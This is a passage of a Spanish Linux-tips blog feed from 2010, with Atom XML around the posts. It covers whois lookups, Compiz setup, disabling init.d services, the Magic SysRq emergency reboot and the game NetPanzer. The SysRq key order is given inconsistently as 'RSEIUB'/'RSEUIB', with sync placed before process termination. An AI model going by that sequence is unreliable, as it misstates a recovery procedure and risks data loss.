&lt;b&gt;útil&lt;/b&gt;,&amp;nbsp;&lt;b&gt; libre de publicidad&lt;/b&gt; y &lt;b&gt;fácil&lt;/b&gt; es abrir un terminal y escribir:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;whois&lt;span style="color: red;"&gt; example.com&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;whois &lt;span style="color: red;"&gt;127.0.0.1&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Ya sabéis, si creéis que algo es un viral o es falso, comprobar el dueño del dominio y sabrás si todo anda bien.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2898833949377814234?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2898833949377814234/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/dominios-y-whois.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2898833949377814234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2898833949377814234'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/dominios-y-whois.html' title='Internet - Dominios y WHOIS'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S1JsFjoyZYI/AAAAAAAAATw/lWAD2kkKNbQ/s72-c/whois_example_com.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8501650729911143865</id><published>2010-01-15T23:07:00.004+01:00</published><updated>2010-01-16T07:26:25.138+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Xorg'/><category scheme='http://www.blogger.com/atom/ns#' term='Compiz'/><title type='text'>Compiz-Fusión - Lo que debes saber.</title><content type='html'>&lt;b&gt;&amp;nbsp;Compiz fusión&lt;/b&gt; es la unión entre los proyectos &lt;b&gt;Beryl&lt;/b&gt; y &lt;b&gt;Compiz&lt;/b&gt;. Es un &lt;b&gt;gestor&lt;/b&gt; de &lt;b&gt;ventanas&lt;/b&gt; con grandes &lt;b&gt;efectos&lt;/b&gt; y muy &lt;b&gt;configurable&lt;/b&gt;. Tiene bastantes &lt;b&gt;problemas&lt;/b&gt; con tarjetas &lt;b&gt;ATi&lt;/b&gt; y el &lt;b&gt;driver privativo&lt;/b&gt; pero es lo de menos.&lt;br /&gt;&lt;br /&gt;Si a veces te funcionan los &lt;b&gt;juegos&lt;/b&gt; &lt;b&gt;lentos&lt;/b&gt;, o obtienes un &lt;b&gt;parpadeo horrible&lt;/b&gt; en tus &lt;b&gt;vídeos y flashes&lt;/b&gt;, deberías saber que parte de la &lt;b&gt;culpa&lt;/b&gt; la tiene &lt;b&gt;compiz&lt;/b&gt;. En cualquier caso, veremos como &lt;b&gt;activarlo&lt;/b&gt;, como &lt;b&gt;usarlo&lt;/b&gt;, y sobre todo cuando &lt;b&gt;desactivarlo&lt;/b&gt; para ganar &lt;b&gt;rendimiento&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S1Dm76b3jWI/AAAAAAAAATY/z0TkoH2qD4M/s1600-h/activar_compiz.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S1Dm76b3jWI/AAAAAAAAATY/z0TkoH2qD4M/s320/activar_compiz.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Para empezar, nos saltaremos el &lt;b&gt;paso&lt;/b&gt; para saber si tienes &lt;b&gt;aceleración gráfica&lt;/b&gt;. Se supone que sí, ya sea &lt;b&gt;libre&lt;/b&gt; o &lt;b&gt;privativa&lt;/b&gt;, ya hablaremos de este tema en futuras ediciones. Para &lt;b&gt;activar&lt;/b&gt; &lt;b&gt;Compiz&lt;/b&gt; es tan sencillo como ir a&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Sistema -&amp;gt; Preferencias -&amp;gt; Apariencia&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Pulsaremos sobre &lt;b&gt;Efectos Visuales&lt;/b&gt; y escogeremos la opción &lt;b&gt;Extra&lt;/b&gt;. Si todo ha salido bien y no ha dado error tendremos activado el Compiz básico, es decir, &lt;b&gt;efectos&lt;/b&gt; al &lt;b&gt;maximizar&lt;/b&gt; y &lt;b&gt;mover ventanas&lt;/b&gt;, &lt;b&gt;barra de títulos&lt;/b&gt; de ventana &lt;b&gt;transparente&lt;/b&gt; y &lt;b&gt;explosión&lt;/b&gt; de los &lt;b&gt;lanzadores&lt;/b&gt; de aplicaciones al pulsar sobre ellos.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;LEER SÓLO SI TIENES PROBLEMAS&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt; CON EL VÍDEO&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Las &lt;b&gt;tarjetas ATi&lt;/b&gt; tienen bastante &lt;b&gt;problemas&lt;/b&gt; en este aspecto. Para poder &lt;b&gt;reproducir&lt;/b&gt; vídeo &lt;b&gt;decentemente&lt;/b&gt;, hay varias &lt;b&gt;opciones&lt;/b&gt;. Si usas &lt;b&gt;Totem&lt;/b&gt; como &lt;b&gt;reproductor&lt;/b&gt; de vídeos para arreglaro tendrás que usar ejecutar en un terminal:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;/ul&gt;&lt;div style="text-align: center;"&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;gstreamer-properties&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;/ul&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S1DnDPhMVfI/AAAAAAAAATg/vEGOAZYYuBI/s1600-h/gstreamer_ati.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S1DnDPhMVfI/AAAAAAAAATg/vEGOAZYYuBI/s320/gstreamer_ati.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Se te abrirá un &lt;b&gt;panel&lt;/b&gt; con &lt;b&gt;opciones&lt;/b&gt; y tendrás que escoger en el &lt;b&gt;Vídeo&lt;/b&gt;, el &lt;b&gt;complemento&lt;/b&gt; &lt;b&gt;X Video sin Xv&lt;/b&gt; que se utiliza para acelerar las películas.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si usas &lt;b&gt;VLC&lt;/b&gt; tendrás que ir a &lt;b&gt;Herramientas&lt;/b&gt; y elegir &lt;b&gt;preferencias&lt;/b&gt;. En el menú de &lt;b&gt;opciones escogeremos Vídeo salida de vídeo X11&lt;/b&gt;.g&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S1DnITKV3nI/AAAAAAAAATo/kcLeQKH4-ec/s1600-h/vlc_ati.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S1DnITKV3nI/AAAAAAAAATo/kcLeQKH4-ec/s320/vlc_ati.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Con esto solucionarás tus problemas de parpadeos o reproducción lenta de vídeos aunque es una solución bastante mala.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;CUANDO USAR COMPIZ&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Nadie niega que usar &lt;b&gt;Compiz&lt;/b&gt; es &lt;b&gt;agradable&lt;/b&gt; pero en realidad &lt;b&gt;no aporta demasiado&lt;/b&gt; , sólo &lt;b&gt;malgastas&lt;/b&gt; &lt;b&gt;recursos&lt;/b&gt; del CPU. Por ello mismo, &lt;b&gt;recomiendo&lt;/b&gt; que se use compiz cuando estés realizando &lt;b&gt;tareas de trabajo&lt;/b&gt;, es decir, &lt;b&gt;programando&lt;/b&gt;, &lt;b&gt;escribiendo documentos&lt;/b&gt;, &lt;b&gt;leyendo el correo&lt;/b&gt;, &lt;b&gt;navegando&lt;/b&gt;. No es &lt;b&gt;nada recomendable&lt;/b&gt; usarlo cuando veas &lt;b&gt;flash&lt;/b&gt;, &lt;b&gt;vídeos&lt;/b&gt; o &lt;b&gt;juegues&lt;/b&gt;, ya que tu &lt;b&gt;rendimiento gráfico&lt;/b&gt; &lt;b&gt;descenderá&lt;/b&gt; bastante a no ser que tengas un señor ordenador.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Por ello mismo os invito a que &lt;b&gt;instaléis&lt;/b&gt; el &lt;b&gt;botón compiz icon&lt;/b&gt;, que resulta bastante &lt;b&gt;discreto&lt;/b&gt;, no ocupa casi recursos y en un &lt;b&gt;par de clicks&lt;/b&gt; nos permitirá pasar de &lt;b&gt;Metacity&lt;/b&gt; (el bueno) a &lt;b&gt;Compiz&lt;/b&gt; (el bonito). Para &lt;b&gt;instalarlo&lt;/b&gt; sólo tendréis que ejecutar en un terminal lo siguiente:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install fusion-icon&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Se nos creará un &lt;b&gt;acceso directo&lt;/b&gt; en&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Aplicaciones -&amp;gt;Herramientas del Sistema -&amp;gt; Compiz Fusion Icon&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;En el &lt;b&gt;SysTray&lt;/b&gt; o &lt;b&gt;barra de información&lt;/b&gt; de aplicaciones nos aparecerá una &lt;b&gt;caja azúl&lt;/b&gt; con un puntero y pulsando con el &lt;b&gt;botón derecho&lt;/b&gt; sobre ella podremos elegir si usar &lt;b&gt;Compiz o Metacity&lt;/b&gt; en &lt;b&gt;Select Windows Manager&lt;/b&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;Por último y &lt;b&gt;por comodidad&lt;/b&gt; recomiendo añadir que se &lt;b&gt;ejecute la aplicación al inicio&lt;/b&gt; para no tener que estar abriéndola todo el rato. Para ello iremos a &lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;Sistema -&amp;gt; Preferencias -&amp;gt; Aplicaciones al Inicio&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Pulsaremos sobre &lt;b&gt;añadir&lt;/b&gt; y rellenaremos los campos con la siguiente información:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;b&gt;Nombre&lt;/b&gt;: Compiz Icon&lt;br /&gt;&lt;b&gt;Orden&lt;/b&gt;: fusion-icon --no-start&lt;br /&gt;&lt;b&gt;Comentario&lt;/b&gt;: Inicia el icono de Compiz&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&amp;nbsp;Pulsaremos sobre &lt;b&gt;aceptar&lt;/b&gt;, lo &lt;b&gt;activaremos&lt;/b&gt; en su &lt;b&gt;casilla&lt;/b&gt; y cerraremos. Esto hará que se inicie el botón al Systray cada vez que iniciemos sesión.&lt;br /&gt;&lt;br /&gt;En resumen, si vas a &lt;b&gt;jugar&lt;/b&gt; a un juego o ver una &lt;b&gt;película&lt;/b&gt;, activa &lt;b&gt;MetaCity&lt;/b&gt;, si vas a &lt;b&gt;navegar&lt;/b&gt; o &lt;b&gt;trabajar&lt;/b&gt;, activa &lt;b&gt;Compiz&lt;/b&gt; y por último, si quieres&lt;b&gt; fardar de Linux&lt;/b&gt; ante los amigos, lee el siguiente punto.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;COMPIZ FUSION EN TODO SU ESPLENDOR&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Si lo que quieres es tener todas las &lt;b&gt;chorraditas&lt;/b&gt; y fardar en &lt;b&gt;vídeos de youtube&lt;/b&gt;, lo que tienes que hacer es&lt;b&gt; instalar las opciones de Compiz y emerald&lt;/b&gt;. Para ello ejecuta en un terminal:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install compizconfig-settings-manager emerald&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;En el mismo menú de compiz fusión podrás escoger &lt;b&gt;emerald&lt;/b&gt; como gestor de ventanas y en las opciones de Compiz podrás usar todo tipo de &lt;b&gt;complementos&lt;/b&gt; chorras para matar tu profundo &lt;b&gt;aburrimiento&lt;/b&gt;. También si quieres puedes añadir más efectos aún bajándotelos de &lt;b&gt;Gnome Look&lt;/b&gt;, sección Compiz -&amp;gt; &lt;a href="http://gnome-look.org/index.php?xcontentmode=102"&gt;enlace&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8501650729911143865?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8501650729911143865/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/compiz-fusion-lo-que-debes-saber.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8501650729911143865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8501650729911143865'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/compiz-fusion-lo-que-debes-saber.html' title='Compiz-Fusión - Lo que debes saber.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S1Dm76b3jWI/AAAAAAAAATY/z0TkoH2qD4M/s72-c/activar_compiz.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-2243283165212665999</id><published>2010-01-15T08:12:00.001+01:00</published><updated>2010-01-15T08:13:30.697+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Optimizaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Optimización - Eliminación de servicios no necesarios.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S1AVk4Yu8-I/AAAAAAAAATQ/vf-_jeNJFKs/s1600-h/consola_procesos.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S1AVk4Yu8-I/AAAAAAAAATQ/vf-_jeNJFKs/s320/consola_procesos.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;En cualquier &lt;b&gt;sistema operativo&lt;/b&gt; suelen haber &lt;b&gt;servicios&lt;/b&gt; o &lt;b&gt;demonios&lt;/b&gt; que no hacen falta como por ejemplo el de &lt;b&gt;BlueTooth&lt;/b&gt; o el &lt;b&gt;gestor de energía&lt;/b&gt; cuando estamos en una estación de trabajo &lt;b&gt;fija&lt;/b&gt; y sin BlueTooth.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;listar&lt;/b&gt; &lt;b&gt;todos los procesos&lt;/b&gt; y ver cuales tenemos sólo hay que ejecutar en un terminal el siguiente comando:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;cd /etc/init.d/&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;ls&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Nos aparecerá una &lt;b&gt;lista&lt;/b&gt; con todos los &lt;b&gt;procesos&lt;/b&gt; que tenemos activados activados o no. Para &lt;b&gt;desactivarlos&lt;/b&gt; solo tendremos que &lt;b&gt;ejecutar&lt;/b&gt;:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo chmod -x &lt;span style="color: red;"&gt;nombre&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Algunos de los &lt;b&gt;procesos&lt;/b&gt; que suelen ser &lt;b&gt;prescindibles&lt;/b&gt; son, &lt;b&gt;bluetooth&lt;/b&gt;,&lt;b&gt; laptop-mode&lt;/b&gt;(usar en portatiles),&lt;b&gt; speech-dispatcher&lt;/b&gt;, &lt;b&gt;pcmcia&lt;/b&gt;, &lt;b&gt;ppp&lt;/b&gt;, &lt;b&gt;rsync&lt;/b&gt;, &lt;b&gt;fetchmail&lt;/b&gt; y &lt;b&gt;postfix&lt;/b&gt;. &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-2243283165212665999?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/2243283165212665999/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/optimizacion-eliminacion-de-servicios.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2243283165212665999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/2243283165212665999'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/optimizacion-eliminacion-de-servicios.html' title='Optimización - Eliminación de servicios no necesarios.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S1AVk4Yu8-I/AAAAAAAAATQ/vf-_jeNJFKs/s72-c/consola_procesos.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7534836967960935354</id><published>2010-01-15T04:56:00.001+01:00</published><updated>2010-01-15T07:59:00.981+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Apagado de seguridad - Linux también se cuelga.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0_mNQ55YnI/AAAAAAAAATA/SSpeTQHW_dU/s1600-h/linux.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0_mNQ55YnI/AAAAAAAAATA/SSpeTQHW_dU/s200/linux.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Últimamente llevo trasteando mucho con &lt;b&gt;wine&lt;/b&gt; y he conseguido que el &lt;b&gt;sistema&lt;/b&gt; se &lt;b&gt;cuelgue&lt;/b&gt; bastante. El caso es que &lt;b&gt;apagar&lt;/b&gt; a &lt;b&gt;capón&lt;/b&gt; cualquier &lt;b&gt;sistema operativo&lt;/b&gt; es &lt;b&gt;malo&lt;/b&gt; aunque los &lt;b&gt;archivos&lt;/b&gt; gracias a &lt;b&gt;EXT&lt;/b&gt; estén lo más &lt;b&gt;protegidos&lt;/b&gt; posibles.&lt;br /&gt;&lt;br /&gt;En cualquier caso, si no quieres saber lo que es un &lt;b&gt;Kernel Panic&lt;/b&gt;, mejor que te aprendas esta &lt;b&gt;nomenclatura&lt;/b&gt; cuando se cuelgue tu ordenador: &lt;b&gt;RSEIUB&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Gracias a &lt;b&gt;Magic SysRq&lt;/b&gt; podremos &lt;b&gt;ejecutar operaciones&lt;/b&gt; en el &lt;b&gt;Kernel&lt;/b&gt; aunque no responda nada. Para ello pulsaremos &lt;b&gt;alt + imprimir pantalla&lt;/b&gt; y pulsaremos las teclas &lt;b&gt;RSEUIB&lt;/b&gt; que hacen:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;* &lt;b&gt;R&lt;/b&gt; devuelve el control al teclado.&lt;br /&gt;* &lt;b&gt;S&lt;/b&gt; sincroniza.&lt;br /&gt;* &lt;b&gt;E&lt;/b&gt; manda a los procesos la señal term.&lt;br /&gt;* &lt;b&gt;I&lt;/b&gt; manda a los procesos la señal kill.&lt;br /&gt;* &lt;b&gt;U&lt;/b&gt; desmonta los sistemas de ficheros.&lt;br /&gt;* &lt;b&gt;B&lt;/b&gt; reinicia el sistema.&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;&lt;b&gt;Truquito&lt;/b&gt; de la vieja escuela ;) &lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7534836967960935354?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7534836967960935354/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/apagado-de-seguridad-linux-tambien-se.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7534836967960935354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7534836967960935354'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/apagado-de-seguridad-linux-tambien-se.html' title='Apagado de seguridad - Linux también se cuelga.'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_adYnwobHI2E/S0_mNQ55YnI/AAAAAAAAATA/SSpeTQHW_dU/s72-c/linux.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-8669907226122154264</id><published>2010-01-15T02:46:00.000+01:00</published><updated>2010-01-15T02:46:42.935+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Software Libre'/><category scheme='http://www.blogger.com/atom/ns#' term='Juegos'/><title type='text'>Juegos Linux - Net Panzer</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0_IcPEYIII/AAAAAAAAASw/zmVrWsMSmOs/s1600-h/medium.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0_IcPEYIII/AAAAAAAAASw/zmVrWsMSmOs/s320/medium.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;NetPanzer&lt;/b&gt; es un gran &lt;b&gt;juego&lt;/b&gt; venido a menos pero que sin duda aún puede darnos sus horas de &lt;b&gt;diversión&lt;/b&gt;. Su funcionamiento es &lt;b&gt;sencillo&lt;/b&gt;, tienes una &lt;b&gt;flota de tanques&lt;/b&gt; y tienes que &lt;b&gt;capturar&lt;/b&gt; más &lt;b&gt;fábricas&lt;/b&gt; para poder producir más flotas y conquistar más. Es &lt;b&gt;multijugador&lt;/b&gt; por lo que en una partida podrá haber más de 8 o 10 personas luchando por la &lt;b&gt;conquista&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para &lt;b&gt;instalarlo&lt;/b&gt;, solo tienes que escribir en un terminal:&lt;br /&gt;&lt;ul style="text-align: center;"&gt;&lt;li&gt;&lt;b&gt;sudo apt-get install netpanzer&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;Una vez instalado, recomiendo que se ponga en las opciones el modo &lt;b&gt;ventana&lt;/b&gt; y configuremos los &lt;b&gt;controles&lt;/b&gt; a nuestro gusto, sobre todo los del &lt;b&gt;chat&lt;/b&gt; aunque principalmente es un juego de &lt;b&gt;ratón&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_adYnwobHI2E/S0_IfzTbdOI/AAAAAAAAAS4/kfpmWQVALbo/s1600-h/net_panzer.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_adYnwobHI2E/S0_IfzTbdOI/AAAAAAAAAS4/kfpmWQVALbo/s320/net_panzer.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Los &lt;b&gt;gráficos&lt;/b&gt; son bastante &lt;b&gt;buenos&lt;/b&gt; y el &lt;b&gt;sonido&lt;/b&gt; es muy &lt;b&gt;real&lt;/b&gt;. Es complicado de ganar al principio porque hay viejos dinosaurios jugando desde hace tiempo pero sin duda es un juego para echarse unas &lt;b&gt;risas&lt;/b&gt; durante 10-20 minutos.&lt;br /&gt;&lt;br /&gt;La dinámica de las partidas son bastante interesantes, existe un &lt;b&gt;límite&lt;/b&gt; de tanques y además pueden entrar y salir gente del juego en momentos avanzados de la partida lo que hace que sea muy complicado mantener los territorios, es pura estrategia.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Probad&lt;/b&gt; y &lt;b&gt;disfrutad&lt;/b&gt;!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-8669907226122154264?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/8669907226122154264/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/juegos-linux-net-panzer.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8669907226122154264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/8669907226122154264'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/juegos-linux-net-panzer.html' title='Juegos Linux - 